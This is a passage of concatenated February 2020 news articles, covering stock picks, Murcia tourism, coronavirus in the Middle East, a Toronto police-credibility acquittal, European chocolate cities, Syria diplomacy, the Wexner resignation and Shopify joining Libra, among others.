closing of a $2 billion purchase of home dialysis devicemaker NxStage Medical and the implementation of IFRS 16 - an accounting standard that dictates how companies account for leases. That said, adjusted net income actually grew from 1.34 euros per share in 2018 to 1.37 in 2019, and the company anticipates returning to mid- to high-single-digit sales and EPS growth this year. Indeed, the company's fourth quarter showed signs of FMS turning the quarter, with every geographical region contributing to overall organic revenue growth of 5%. Analysts expect growth to rebound by 12.8%, while the stock trades at 15.6 those earnings estimates. Toss in a modest dividend of 1.6%, and you get a dividend-adjusted PEG of 1.1 - overvalued, but not by much. That payout, by the way, has improved for 22 consecutive years, putting Fresenius among the European Dividend Aristocrats. Management says it will propose a record 1.2-euro payout in May, building on already robust dividend growth that has averaged 10.7% annually over the past half-decade. WestRock Getty Images Market value: $10.5 billion WestRock (WRK, $40.55) is the No. 2 packaging company in the U.S., offering up solutions from folding cartons and corrugated containers to full-blown automated packaging systems. Paper isn't exactly a high-growth business, but WestRock is capitalizing on current industry trends that include rising e-commerce-related demand for cardboard and a consumer preference for paper over plastic packaging. It's also just beginning to realize operating efficiencies from its acquisition of Kapstone Paper and Packaging - a $4.9 billion deal with debt included. WRK expects to gain $200 million in annual cost synergies by 2021. The company had been growing prior to the acquisition, but the buyout helped Westrock deliver a 12%-plus boost to the top line in the fiscal year ended September 2019. Analysts are understandably not predicting breakneck growth out of WRK - they see the company's profits rebounding 7% in fiscal 2021 after a pullback in the current fiscal year. But WestRock already trades at a cheap 11.5 times estimates and offers up a substantial 4.6% dividend, giving it a PEG of just less than 1.0 once the payout is factored in. But be aware of the company's debt, which stood at nearly $11 billion at the end of December 2019, versus a mere $156 million in cash. While Westrock has a fairly straightforward business and a decent valuation, its financial foundation warrants further monitoring. Reinsurance Group of America Getty Images Market value: $9.6 billion Reinsurance Group of America (RGA, $153.20) is a leading provider of traditional life and health reinsurance with operations on literally every continent but Antarctica. Insurance companies purchase reinsurance to protect themselves from excessive losses by transferring all or some of their risk to the reinsurer. Most of the company's competitors focus on property/casualty risk and have suffered big losses recently due to hurricane damage. Reinsurance Group of America focuses on life and health insurance and has no property damage risk. It's admittedly an opaque business with intricacies that most people don't understand. But RGA is a solid, growing performer with relatively low net debt. The company's revenues have swelled from $10.9 billion in 2014 to $14.3 billion in 2019. Net income has varied - a common tendency among insurers - but it's broadly trending in the right direction (up). While the stock has more than tripled over the past decade, it does tend to move in swings, and it's currently recovering from its latest dip. The upside? A decent valuation Peter Lynch could get behind. A forward P/E of 10.3 is already low, and combined with forward-looking growth estimates of 7.4%, as well as a 1.8% dividend yield, RGA shares trade at a decent 1.1 PEG ratio. Don't sleep on that dividend, either. While the yield is modest, it has been growing like a weed. RGA's current payout of 70 cents per share is more than double the 33 cents it doled out in 2015, and that includes a 17% improvement announced last April. Asbury Automotive Group Getty Images Market value: $1.9 billion Some of Peter Lynch's best picks came from strong companies in low-growth industries. That could describe Asbury Automotive Group (ABG, $99.74). Asbury ranks as the nation's seventh-largest franchised car retailer, boasting 88 dealer locations and 107 franchises across several states, primarily in the Southeast. ABG, which sold more than 193,000 vehicles last year, offers an attractive brand mix of new and used vehicles - including luxury names such as Lexus, BMW, Mercedes-Benz, Infiniti and Acura - that generate above-average profit margins. A key factor differentiating Asbury Automotive Group from competitors is its substantial parts-and-service operations, which represent 47% of gross profits. ABG operates 25 collision repair shops nationwide that offer best-in-class operating margins and recession-resistant revenues. The division's gross profits have grown by about 5.5% annually since 2003, and have improved every year since 2010. Finance & Insurance, another division, has seen gross profit per unit sold improve every year since 2012. ABG shares went on a 68% tear in 2019, but the stock has cooled off by more than 10% since the start of 2020. The company still trades for a cheap 8.6 times earnings, which are expected to grow by a similar amount (8%) next year, resulting in a PEG of 1.1. (Note: Asbury doesn't offer a dividend.) Auto sales can be a brutal business, especially in the current post-"peak auto" environment. Asbury's positioning in parts and sales, however, gives it an advantage that can help steer it through difficult times. But do mind the debt, here, which sits at roughly $1.9 billion versus just $1.8 million in cash. SEE ALSO: 16 Stocks Warren Buffett Is Buying and Selling Axon Enterprise Getty Images Market value: $5.1 billion Axon Enterprise (AAXN, $86.46) is hardly a household name, though it used to be. The company previously was called Taser International, after its namesake stun guns, but changed its moniker in 2017 to reflect its expansion into other products and services, such as body cameras. Alongside the name change, Axon announced that it would provide free body cameras to every police officer in the country. But it wasn't charity. Those cameras included a free one-year subscription to Evidence.com, Axon's cloud-based storage platform for police cameras videos. And as those free subscriptions end, many are paying up given the high costs involved in moving video data from one cloud platform to another. Axon's building on the platform, too. Its new AI tool Redaction Assistant increases its value proposition by eliminating hours of manual effort redacting police videos for privacy reasons. Axon has plugged 47 major U.S. cities into its body camera solutions. It also added customers in Canada, Australia, England and Sweden. It also recently began providing its cloud service to municipal fire departments, EMS agencies and the U.S. Forest Service. At the moment, Axon has a dominant position in its two primary fields (stun guns and body cameras), and it has a solid financial position Peter Lynch would love. AAXN has $312 million in cash and short-term investments versus a mere $11.6 million in debt. But it's just too pricey right now. Axon's forward P/E of 67.5 is several times more expensive than the broader market. Yes, analysts expect big things out of the company - they're modeling a 26.7% profit boom next year on 16.4% growth in revenues - but even then, its PEG comes to a rich 2.5. If you're insistent on buying at a decent price, you'll need AAXN to cool off. EDITOR'S PICKS Copyright 2020 The Kiplinger Washington Editors ARCHIVED - More Bulgarian and Czech tourists heading for La Manga and the Mar Menor this year 8,500 visitors from eastern Europe are to spend 70,000 nights in the Costa Calida The Tourism department of the Region of Murcia has finalized agreements this week with Czech and Bulgarian tour operators by which 8,500 visitors will spend 70,000 nights in La Manga and the Mar Menor area this year, most of them during the spring and autumn, when they will provide a welcome contribution to the efforts to de-seasonalize the sector in the Costa Calida. According to the regional government these deals will help to reactivate tourism after the heavy storms which affected the coastline of Murcia in September and December 2019 and January of this year. The agreements were signed when staff from the Instituto de Turismo de la Region de Murcia travelled to Eastern Europe to meet representatives of the Bohemia and Profi Tours agencies from Bulgaria and Delfin, Quality Tour and Fischer from the Czech Republic, and in both cases the number of visitors is being increased after the success of last years campaigns. In consequence, there will be more charter flights operating between Prague and Bulgaria in the east and the Region of Murcia International Airport in Corvera in the Costa Calida. During the visit to Bulgaria a presentation was made to 60 travel agencies at the Holiday World tourism fair in Prague, and at the same time it has been confirmed that at the Fitur fair in Madrid in January another agreement was signed to bring Austrian tourists to Murcia in 2021. In this case the collaborating operator is Iris Tours Vacances, who will be bringing around 4,800 tourists to the Costa Calida next year on charter flights during the off season. Follow Murcia Today on Facebook to keep up to date with all the latest news, events and information in the Region of Murcia and the rest of Spain: https://www.facebook.com/MurciaToday/ New coronavirus cases surged across the Middle East on Friday, after a rapid spread in Iran, where authorities say the death toll from the virus has hit four, prompting alarm and travel bans. Since December, the SARS-like virus has killed more than 2,200 people in China, the epidemic's epicentre. Elsewhere in the world, it has killed over a dozen people and spread across some 27 countries. In the Middle East, two elderly men in Iran were the first confirmed deaths from the virus, which has also spread to the United Arab Emirates, Egypt, Israel and Lebanon. Iran's health ministry Friday reported two more deaths among 13 new diagnosed cases of the COVID-19 virus, doubling the total number of deaths in the Islamic republic and taking the total number of diagnosed infections there to 18. Hours later, Lebanon confirmed the first case of the novel coronavirus, making it the latest country in the region to be hit by the epidemic. It was found in a 45-year-old Lebanese woman who had travelled from the holy city of Qom in Iran, Lebanon's health ministry said, adding that two other cases were being investigated. Israel on Friday also confirmed its first case in a citizen who flew home from Japan after being quarantined on a stricken cruise ship. Iraq and Kuwait, which share borders with Iran, were on high alert for a potential outbreak after banning travel to and from the Islamic republic although they have not confirmed any cases domestically. The outbreak in Iran has raised concerns, especially since many of the coronavirus cases involved residents of Qom, a popular destination for Kuwaiti and Iraqi Shiites. Shiite leader Moqtada Sadr, a major figure in Iraqi politics, himself studies in an Islamic seminary in Qom. Iraq is a popular destination for millions of Iranian Shiite pilgrims, including religious scholars from Qom, who visit holy sites in the southern provinces of Najaf and Kerbala. Iran is also the second-largest exporter of goods to Iraq, sending products to the value of around nine billion dollars annually. On Friday, Iraq's top Shiite cleric Grand Ayatollah Ali Sistani urged authorities to be ready to stem any outbreak. "The scale of preparations should match that of the threat," he said in comments delivered by a representative. "We call on relevant authorities to be up to the level of responsibility". Iraq on Thursday clamped down on travel to and from Iran, as the health ministry announced that travellers from were barred from entering the country "until further notice". A senior official told AFP border crossings with Iran had been closed, with only returning Iraqis allowed to enter. But they would be examined and, if necessary, placed in quarantine for 14 days, the health ministry said. Iraqis are also not allowed to travel to Iran, the ministry said. The border closure followed a backlash against a Wednesday announcement of visa waivers for Iranians wishing to travel to Iraq. Iraqis took to social media using the hashtag "close the border" and officials called for a ban on the entry of goods and people. Kuwait Airways on Thursday announced it would suspend all flights to Iran, while ports in the Arab Gulf state would be also to passenger traffic. Kuwaitis were advised not to travel to Qom, and warned that anyone arriving from the city they would be quarantined. The UAE health ministry on Friday said a Filipino national and a Bangladeshi man were infected with the virus, bringing to 11 the number of cases in the country. Iraqi airports have been screening travellers for the virus and national carrier Iraqi Airways has suspended flights to Iran. "Detection equipment has been installed and no cases have been found" Jaafar al-Alaoui, communications officer at Najaf airport, told AFP. Iraqi passengers arriving from Iran on Friday wore medical masks and had there temperatures taken by airport authorities. In the southern province of Basra, local officials called for heightened health awareness in schools and recommended that washrooms be sanitised in educational facilities. Social media networks have become fertile ground for fears among citizens who say Iraq cannot accomodate a coronavirus outbreak. Hospitals are generally poorly equipped in terms of equipment and medicine, while some still require reconstruction and refurbishment. There are less than 10 doctors for every 10,000 people, the World Health Organization says. Iraqis are circulating prayers on social media networks, while videos circulating online show Iraqi and Iranian families lighting incense in their homes with the belief that it will prevent infection. Some said they were turning to herbalists for natural remedies, while others joked that alcohol consumption could combat the virus. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A man has been acquitted of heroin trafficking charges after a Superior Court judge found a 31-year veteran Toronto police officer repeatedly misled court and then ignored a subpoena to answer questions about his evidence. Rather than respond to questions about his testimony in the case, Det. Const. Daryl Gazey retired from the Toronto Police Service and travelled to Italy, Justice Anne London-Weinstein said in her decision Friday. Because Gazey is no longer an officer, he will not face an internal discipline investigation, Toronto police spokesperson Meaghan Gray said following the judges ruling. Gazey was an undercover officer and a key Crown witness meant to establish that Siavash Norouzian trafficked in heroin on two occasions in October 2013 and possessed $200 in proceeds of crime the buy money from a police sting. During the May 2018 trial, Gazey testified he had arranged to buy heroin after receiving an anonymous Crime Stoppers tip that Norouzian was selling the drug. Gazey claimed he called Norouzians phone once, at 4:20 p.m. on Oct. 23, 2013, and spoke to a man with strong, thick Middle Eastern accent, then later that day received another call and immediately recognized the voice. But, London-Weinstein said, forensic evidence undermined that claim. The problem, she said, was that the 4:20 p.m. call never happened. I found that the officer was not being honest with the court, London-Weinstein said, appearing in a Toronto courtroom by video from Ottawa, where she now sits. The judge rejected the Crowns submission that the officer was simply mistaken about the time of the call and that it wasnt important anyway. She also cited other examples of Gazeys evidence being contradicted by phone logs. For those reasons, London-Weinstein said she was unable to rely on his testimony about a hand-to-hand heroin transaction alleged to have taken place in a supermarket. I found Detective Constable Gazey to be not credible as a witness, she said. After Gazeys testimony, the judge granted a defence request to reopen the case to question him about his statements. Despite being served a subpoena, Gazey, whose credibility was so central in this case, never did return to trial, the judge said. Instead, he retired from the Toronto Police Service and travelled to Italy instead of returning to face questions regarding forensic phone evidence. Therefore, she continued: Many of the remaining questions surrounding the disparities between the forensic evidence versus the evidence of the officer remain unanswered. While the judge said she found it was probable that Norouzian had some involvement in a trafficking operation, her suspicions are not the test in law. I must be sure before I can find Mr. Norouzian guilty. Given my concerns about the credibility of Detective Constable Gazey, I am not satisfied that Mr. Norouzian is guilty. Defence lawyer Greg Lafontaine, who represented Norouzian, said its rare for judges to say a police witness misled court and that theyll only do so when its clear as a bell, adding that no one should hold their breath about a followup investigation. Gray, the police spokesperson, confirmed Gazey left Toronto police in August 2018, but declined to respond to Lafontaines comments, saying: I can tell you that the Service is notified of any concerns regarding any members testimony through the Ministry of the Attorney General. When these concerns are brought to our attention, the matter is then reviewed by Professional Standards and, if appropriate, disciplinary action is taken. Gazey could not be reached for comment. In 2018, he attended an Ontario drug investigator and expert witness conference in which he appeared on a panel of prosecutors and police that discussed testifying in court, preparing for cross-examination and ethics. London-Weinstein also concluded in her judgment that it would be unsafe to rely on the evidence of Toronto police Sgt. Sean Sutton, who also arrested Norouzian. Sutton lost his notes about his role in this investigation and failed to report that fact and wrote an investigative report two years after Norouzians arrest, she said. The judge said her concerns about Sutton related to the reliability of his memory, not his credibility. During the trial, Lafontaine argued his client was merely an addict associating with his heroin supplier, who had pleaded guilty before the trial began. Chocolate is the best-known food on earth. It is the stuff of childhood dreams, magic, fairy tales, it spells legends in the unspoken wonder of the first bite. In Latin, the name of the cocoa treeTheobroma cacaoliterally means food of the gods. Europe will rock your chocolate world. Here are the best cities to satisfy your cravings for chocolate. Swiss Chocolate in Z u rich Zurich is a charming metropolis with a long history. It counts among the most liveable cities in the world and is globally known as a powerful financial center. It has a wealth of attractions, including churches, museums, galleries, fantastic architectural landmarks, and UNESCO World Heritage Sites. Shopping is a favorite pastime in this city too. And, if you love chocolate, you will enjoy strolling around the city center to find gems like Confiserie Sprungli, Chocolatier Laderach, and Vanini Swiss Chocolateall chocolate manufacturers with a long tradition. Other must-try creations come from Confiserie Teuscher, Vollenweider Chocolatier Confiseur, and the famous Max Chocolatier. Chocolates, like these ones at Laderach in Zurich, make a great present. (Roman Babakin/Shutterstock) Considered by connoisseurs the world capital of chocolate, Brussels is the city where Jean Neuhaus II invented the chocolate praline in 1912. (Shutterstock) Chocolate Traditions in Brussels Considered by connoisseurs the world capital of chocolate, Brussels is the city where Jean Neuhaus II invented the chocolate praline in 1912. Youll still find the original Neuhaus shop at Galeries Royales Saint-Hubert in Brussels, but they have several other venues in the city and all over the world. Belgian chocolatier Pierre Marcolini prepares a chocolate dessert at the Salon du Chocolat in Brussels on Feb. 24, 2019. (Shutterstock) Brussels is home to hundreds of chocolatiers, some of the best-known being Maison Pierre Marcolini, Galler Chocolatier, and Laurent Gerbaud. Wherever you walk around the city center, you will find shops, most of them selling unique, artisanal creations that will satisfy your cravings. A box of Belgian chocolates is also a wonderful gift for any occasion. Cologne, the Chocolate Capital of Germany Cologne is another destination for chocolate aficionados. One of its top attractions is the Chocolate Museum, which features a Lindt chocolate factory where you can observe the manufacturing process step by step and sample warm chocolate from a 10-foot-high chocolate fountain. This museum ranks among the top in Germany and the experience is captivating. You will pass through a tropical greenhouse with several species of cocoa plants and other exotic trees. The permanent exhibition showcases tools and other items documenting the 5,000-year history of cocoa, and the craft of the founder of the museum, Hans Imhoff. If you dont find time to visit the Chocolate Museum, there are many chocolate shops in Cologne where you can find exceptional products. Some of the best-known include Chocolaterie Jan von Werth, Lindt, Truffel Ullrich, and HUSSEL Confiserie. The chocolate fountain at the Chocolate Museum in Cologne, Germany. (Shutterstock) Vintage chocolate display at the Chocolate Museum in Cologne, Germany. (Shutterstock) People walking between Malakoffturm Tower and the Chocolate museum in Cologne, Germany. (Shutterstock) Must-try in Copenhagen Although Copenhagen doesnt have a strong tradition of producing chocolate, it emerges as a strong contender. Friis-Holm Chokolade earned gold for its milk bars at the 2019 World Final of the International Chocolate Awards held last October in Florence, Italy. They also received a few silver and bronze trophies for other chocolate-based products. Dont miss their shop when you visit Copenhagen. You will also appreciate products from Peter Beier Chokolade, Ro Chokolade, and Anker Chokolade, which produce mainly organic treats. Chocolate in London London is another attractive destination for chocoholics. Londons chocolatiers raise the bar on the craft, offering all kinds of sweet temptations. They have traditional shops like Charbonnel et Walker, which has been in business since 1875, but also newer artisan shops with quirky names and equally intriguing creations: Choccywoccydoodah and Rococo. Dont miss William Curleys creations and the mouthwatering bars made-in-house by Le Jeune Chocolatiers. Youll find the highest concentration of chocolate shops in the neighborhoods around Leicester Square and Piccadilly Circus Station. Chocolates at Dark Sugars Cocoa House, a chocolate store in Brick Lane, London. (Shutterstock) The Choccywoccydoodah chocolate shop in London. (Shutterstock) Rococo Chocolate shop on Motcomb Street in Belgravia, London. (Shutterstock) Paris for Chocoholics Names like Jean-Paul Hevin, Patrick Roger, Alain Ducasse, and Jacques Genin are legendary in Paris. Each of these chocolatiers adds innovation and flair to everything they produce, and each chocolate is a gourmet work of art. Another must-see is A la Mere de Famille, a Parisian favorite since 1761. Step in any Parisian shop for your fix of ganache-filled bars, truffles, and chocolate bonbons. La Maison du Chocolat also serves surprisingly delicious savory chocolates. Craft chocolate in Paris comes in a variety of forms and flavors. You can hardly get enough. More adventurous chocophiles could head to Tain lHermitage in the Rhone Valley for the ultimate sensory experience in Valrhonas Cite du Chocolat. These are some of the most popular European cities to satisfy your passion for everything chocolate. There are, of course, artisan chocolate shops in many other destinations, most of them led by experienced pastry chefs and offering not only a splendid range of treats but also an ambiance that will enhance your experience beyond taste and fragrance. La Maison du Chocolate in Paris. (Alexandros Michailidis/Shutterstock) The Chocolate Girl by Jean-Etienne Liotard, 17441745, pastel on parchment. (Public domain) Some Chocolate Trivia Before chocolate was made into whimsical shapes, it was enjoyed as a beverage unsweetened, dark, pure. What we appreciate today as chocolate was currency in the past. The Aztecs used cocoa instead of money. And chocolate was precious enough to pay U.S. soldiers wages in the 1850s. Europe is credited to have refined chocolate to the gourmet treat we enjoy today. When you take your next bite, give a little nod to Spain and the U.K. Christopher Columbus in 1502 and Hernan Cortes in 1544 liked the bitter concoction enough to bring it back home. Then, the Spanish friars took over the mission to promote chocolate to the masses. Hail, Cadbury! This British company made the first chocolate bar in 1842. The first to produce hard chocolate was, however, Danish chocolatier Coenraad Johannes van Houten in 1828. Then, in 1847, U.K.-based Joseph Fry & Sons envisioned other sweet treats based on cocoa and sugar. Chocolatiers around the world still celebrate van Houtens method, which is known as Dutch processing. Swiss milk chocolate emerged in 1876 with Daniel Peter. Then Henri Nestle improved the recipe, and in 1879 Rudolf Lindt brought it to perfection. Nestle and Lindt are the most famous names in chocolate today. And Nestleat least in Europeis synonymous with hot chocolate. Dont call white chocolate chocolate. It only has some cocoa butter, but no other chocolate qualities. And dont worry, cocoa and cacao describe the very same thingjust not white chocolate. Last, but not least, the cocoa you enjoy today most likely comes from Africa. The Ivory Coast produces 30 percent of the worlds supply and Africa 70 percent overall. The best cocoa still comes from Mexicoyou have to pay a premium on this one, but its worth it. A former military journalist, Mihaela Lica-Butler is an editor at Argophilia Travel News. Besides her work as a PR pro and travel journalist, she spends her time writing childrens fairy tales and cookbooks. Australia to Spend $726 Million to Upgrade Strategic Northern Airbase Australia will spend A$1.1 billion ($725.9 million) to upgrade an airbase in the countrys tropical north, Prime Minister Scott Morrison said on Friday, a development that increases Canberras military armory in the Pacific. The base in the regional town of Katherine in Australias Northern Territory will be the home of the countrys new fleet of F-35 strike fighters once the upgrade is finished in 2027. The development would also be used by U.S. troops, of whom there are 1,250 stationed in Australias north. It will be integral to our alliance with the United States, and [will] increase the reach of Air Force capabilities in the Indo-Pacific, Morrison said in a statement. Speaking to reporters in Katherine, Morrison denied the redevelopment was aimed at China, though it comes amid a souring of bilateral relations. Australia has historically enjoyed virtually unchecked influence in the Pacific, but its influence in the region has been challenged in recent years by Chinas communist party, which has significantly expanded its financial aid to the region. The Chinese regime denies attempting to use its financial assistance to gain leverage, but Australia remains anxious that Beijing could seek a military presence in the region. By Colin Packham - Global Early Production Facility Market Forecast 2020-2030 - CAPEX Forecasts by Application (Onshore and Offshore) Plus Profiles of Leading Companies and Leading National Market Analysis LONDON, Feb. 21, 2020 /PRNewswire/ -- This independent 176-page Visiongain report guarantees you will remain better informed than your competitors. With 219 tables and figures examining the Early Production Facility market space, the report gives you a direct, detailed breakdown of the market. PLUS, Capital expenditure by application and region, as well as in-depth analysis of leading companies in the Early Production Facility market for the 2020-2030 period, that will keep your knowledge that one step ahead of your rivals. Do you know: How is the Early Production Facility market evolving? What is driving and restraining Early Production Facility market dynamics? How will each Early Production Facility submarket segment grow over the forecast period and how much sales will these submarkets account for in 2030? How will market shares of each Early Production Facility submarket develop from 2020-2030? Which individual technologies will prevail, and how will these shifts be responded to? Which Early Production Facility submarket will be the main driver of the overall market from 2020-2030? How will political and regulatory factors influence regional Early Production Facility markets and submarkets? Will leading national Early Production Facility market broadly follow macroeconomic dynamics, or will individual country sectors outperform the rest of the economy? How will market shares of the national markets change by 2030 and which nation will lead the market in 2030? Who are the leading players, and what are their prospects over the forecast period? How will the sector evolve as alliances form during the period between 2020 and 2030? Visiongain's forecasts indicate that the global Early Production Facility Market will reach an accumulative capital expenditure (CAPEX) of $11,624mn in 2020. Through extensive research and discussions with experts in the industry, Visiongain has identified a series of market trends that will impact the Early Production Facility Market over the coming decade. Do not miss an opportunity to remain informed of key market dynamics and investment opportunities. Contact us to learn more about the report today. To request sample pages from this report please contact Sara Peerun at sara.peerun@visiongain.com or refer to our website: https://www.visiongain.com/report/global-early-production-facility-market-forecast-2020-2030/download_sampe_div Five Reasons Why You Must Order and Read This Report Today: 1) The report provides forecasts for the Early Production Facility Market by Application, for the period 2020-2030 Onshore submarket 2020-2030 Offshore submarket 2020-2030 2) The report also forecasts and analyses the Early Production Facility Market by Region from 2020-2030 North America United States CAPEX 2020-2030 Canada CAPEX 2020-2030 Mexico CAPEX 2020-2030 Europe Russia CAPEX 2020-2030 Norway CAPEX 2020-2030 Kazakhstan CAPEX 2020-2030 Rest of Europe CAPEX 2020-2030 Asia Pacific China CAPEX 2020-2030 Malaysia CAPEX 2020-2030 Indonesia CAPEX 2020-2030 Rest of Asia Pacific CAPEX 2020-2030 Middle East and Africa Saudi Arabia CAPEX 2020-2030 UAE CAPEX 2020-2030 Iran CAPEX 2020-2030 Iraq CAPEX 2020-2030 Kuwait CAPEX 2020-2030 Rest of the Middle East and Africa CAPEX 2020-2030 South America Brazil CAPEX 2020-2030 Argentina CAPEX 2020-2030 Rest of South America CAPEX 2020-2030 3) The report reveals the Drivers and Restraints in the Early Production Facility Market 4) The report includes PEST Analysis affecting the Early Production Facility Market 5) The report provides detailed profiles of the leading companies operating within the Early Production Facility Market: ENKA Thyssenkrupp Group Expro Group Pyramid E&C Cyient Schlumberger Weatherford International Frames Group Suez SA PTW Energy Services To request a report overview of this report please contact Sara Peerun at sara.peerun@visiongain.com or refer to our website: https://www.visiongain.com/report/global-early-production-facility-market-forecast-2020-2030/ Did you know that we also offer a report add-on service? Email sara.peerun@visiongain.com to discuss any customized research needs you may have. Companies covered in the report include: Aker BP British Petroleum BHP Billiton Ltd Chevron Corp CNOOC Ltd CNPC Cyient ENKA Expro Group Equinor Exxon Mobil Corp Frames Group Gente Oil Ecuador Japan Petroleum Exploration Kuwait Oil Company Lundin Norway Pertamina Petoro Petroleo Brasileiro S.A (Petrobras) Petroleos Mexicanos (PEMEX) Petronas PTW Energy Services Pyramid E&C Saudi Aramco Schlumberger Specto Suez SA Total SA Thyssenkrupp Group Weatherford International Other Organisations Mentioned in This Report Chinese Government Economic Transformation Programme (ETP) European Union (EU) Gas Exporting Countries Forum (GECF) Gulf Co-operation Council (GCC). International Comparative Legal Guides (ICLG) Organization of the Petroleum Exporting Countries (OPEC) Petroleum Services Association of Canada (PSAC) UK Government UK Oil & Gas Authority (OGA) US Energy Information Administration (EIA) To see a report overview please e-mail Sara Peerun on sara.peerun@visiongain.com Related reports: Fuel Oil Market Report 2020-2030 Thermal Enhanced Oil Recovery (EOR) Market Report 2020-2030 Natural Gas Hydraulic Fracturing (Fracking) Market Report 2019-2029 Oil Sands Market Report 2019-2029 Onshore Oil & Gas Pipelines Market Report 2019-2029 Logo: http://mma.prnewswire.com/media/523989/Visiongain_Logo.jpg ANKARA, Turkey Turkeys president urged Russian President Vladimir Putin on Friday to restrain the Syrian government and halt the humanitarian crisis unfolding in northwestern Syria as Damascus wages a military offensive against the last rebel stronghold in the country. Recep Tayyip Erdogan also called for the full implementation of a 2018 Turkish-Russian cease-fire agreement for Idlib province, which collapsed following the Russia-backed Syrian government advance, a statement from Erdogans office said. The two leaders expressed their commitment to all agreements, Erdogans office said, but did not elaborate. Putin expressed serious concern with continuing aggressive actions by extremist groups (in Idlib), the Kremlin said in a statement. The discussion between the two leaders came amid mounting tensions as the Syrian government pushes ahead with an offensive that has displaced hundreds of thousands of people. The offensive has tested ties between Turkey and Russia, who had been working together in Idlib, despite backing opposing sides in Syrias nine-year civil war. Erdogan this week warned of an imminent operation against Syria to compel it to pull its forces back by the end of February. Two Turkish soldiers were killed in an air strike in Idlib on Thursday after an attack by Ankara-backed opposition forces that targeted Syrian government troops. The deaths came after Erdogan threatened to expand his nations involvement in Syria if another one of his troops were hurt. Earlier, Erdogan also held a joint call with French President Emmanuel Macron and German Chancellor Angela Merkel in which he said that the Syrian regime and its backers aggression in Idlib must be stopped. He also emphasized the need for strong support and concrete action to halt the unfolding humanitarian crisis, his office said. It followed a similar call by Merkel and Macron to Putin on Thursday, during which they proposed urgent talks with Erdogan to ease tensions. On Friday, Russian warplanes struck rebel-held areas in the region as insurgents and government forces exchanged artillery and mortar fire in other parts of Idlib province, opposition activists said. The Russian-backed government offensive against Idlib and parts of Aleppo province has led to the displacement of more than 900,000 people, half of them children, since Dec. 1, according to the U.N. Suzan Fraser is an Associated Press writer. Raphael's most famous portraits in Hd on show in Tunis At Macam gallery of Cite de la Culture on Feb. 28-March 28 (ANSAmed) - TUNIS, FEBRUARY 21 - The magnificence of Italian Renaissance art meets technological innovation thanks to an itinerant exhibit on Raphael's portraits to open in Tunis on February 28 through March 28. On the 500th anniversary of Raphael's death, the ministry of foreign affairs and international cooperation and State broadcaster RAI are promoting a project to admire in one place high-definition reproductions of Raphael's masterworks. Tunis, and in particular the new Macam gallery of the Musee National d'Art Moderne et Contemporain de la Cite de la Culture, will host the first part of an itinerant exhibit that will tour the world. This initiative is part of the project ''Opera Omnia'' promoted by the ministry and RAI and stems from the consideration that the masterworks of Leonardo, Raphael, Caravaggio and other great masters are scattered in museums, churches and private collections across the world, which makes it impossible to organize monographic shows. With ''Opera Omnia'', one exhibition space can host the faithful reproduction of the original works in high definition. The initiative in Tunis represents a new occasion of collaboration between the Italian embassy, the Italian cultural institute and the city of culture, in this case the Musee National d'Art Moderne et Contemporain. The collaboration with Professor Antonio Paolucci, one of the top art experts in Italy and in the world and the show's curator, certifies the scientific rigor at the heart of the project, which has the objective of creating an experience of contact with Italy's cultural heritage through the visualization of extremely high-resolution, real-scale Italian masterpieces that are part of the permanent collections of museums worldwide. The show offers the unique opportunity of admiring in one place 14 digital reproductions of Raphael's original paintings in their real dimension. The reproductions are illuminated and located in a special structure so they can be admired from every angle. Thanks to professional colored photos in RAI's archives and the most innovative techniques, the paintings have all the details of the original works, preserving their light and color unaltered. A special multimedia cube will also enable the public to discover the genius of Urbino in an innovative way. (ANSAmed) Mr. Tesler even developed a way to make the action of the mouse more precise by developing a software algorithm that controlled for hand shake as you were dragging the mouse, he said in the oral history. As long as theyre starting out with a horizontal motion, we . . . assume [there will] be some shaking in the vertical direction and kind of ignore it unless they go all the way into the next line, like more than halfway into the next line. And then go, Uhm . . . they really do want to go to this line. Leslie Wexner, a close friend of late billionaire and sex trafficker Jeffrey Epstein, stepped down Thursday as CEO of Victorias Secret parent company L Brands, effectively ending his control over the retail empire he founded decades ago. Today is the beginning of an important new chapter in the evolution of the enterprise, Wexner wrote in an email to staffers. The move comes just days after five former wrestlers at Ohio State University, for which Wexner and his wife are two of the biggest donors, requested that the state inspector general investigate the schools relationship with Epstein. The former wrestlers previously accused Ohio State of failing to protect them from sexually abusive doctor Richard Strauss. The athletes contend that Wexners wife, Abigail Wexner, helped Jeffrey Epstein sexually assault a young woman named Maria Farmer in 1996 at a property in Ohio owned and secured by the Wexners. We turn to you for help, primarily because of Abigail Wexners status as Vice Chair of the Board of Trustees at OSU, the wrestlers stated in a letter earlier this month. Given these public allegations against Mrs. Wexner, it is extremely difficult for us to comprehend why OSU maintains its relationship with Abigail Wexner and her family. Leslie Wexner ceded vast control over his wealth to Epstein, allowing the billionaire financier to manage his money even as far as borrowing money on Wexners behalf, signing his tax returns, and making acquisitions, and appointing him a trustee of the Wexner Foundation. Epstein died in August in his Manhattan jail cell, sparking a Justice Department investigation. His death came a day after court documents were unsealed detailing allegations that the billionaire operated a sex-trafficking ring that abused underage girls as young as 14. Wexner has since expressed regret about his close relationship with Epstein. Being taken advantage of by someone who is so depraved is something Im embarrassed Im even close to, Leslie Wexner said in September. In the present, everyone has to feel enormous regret for the advantage that was taken of so many young women. Story continues The decision to take this action comes after thorough and thoughtful examination by our Board of the opportunities available to drive long-term value for associates, partners and shareholders, an L Brands spokeswoman said. Wexner, 82, will remain chairman emeritus of L Brands after his departure. More from National Review Shopify Inc. has joined a controversial, Facebook Inc.-led group working on a worldwide digital currency even after technology and financial services heavyweights have fled the high-profile association. Hey there, time traveller! This article was published 21/2/2020 (690 days ago), so information in it may no longer be current. The Ottawa headquarters of Canadian e-commerce company Shopify are pictured on Wednesday, May 29, 2019. Shopify Inc. says it it has become a member of the Facebook Inc.-backed group working on a worldwide digital currency. THE CANADIAN PRESS/Justin Tang Shopify Inc. has joined a controversial, Facebook Inc.-led group working on a worldwide digital currency even after technology and financial services heavyweights have fled the high-profile association. In a post on its website and in tweets from Shopify chief executive Tobi Lutke on Friday, the Ottawa-based e-commerce company revealed it has become a member of the Libra Association, a non-profit organization Facebook co-founded to act as an authority for the currency. "We spend a lot of our time thinking about how to make commerce better in parts of the world where money and banking could be far better. Thats why we decided to become a member of the Libra Association," Shopify said in its post. "This is one step, but not the only step well be taking to be a part of the solution to this global problem." The Switzerland-headquartered Libra Association is made up of a mix of technology companies like ride-sharing giants Uber Technologies Inc. and Lyft Inc., digital currency exchange companies including Coinbase Inc., venture capital groups and even academic-backed entities like the Canada-based Creative Destruction Lab. The cryptocurrency they will oversee will be called Libra. Facebook has created a subsidiary called Calibra to keep the 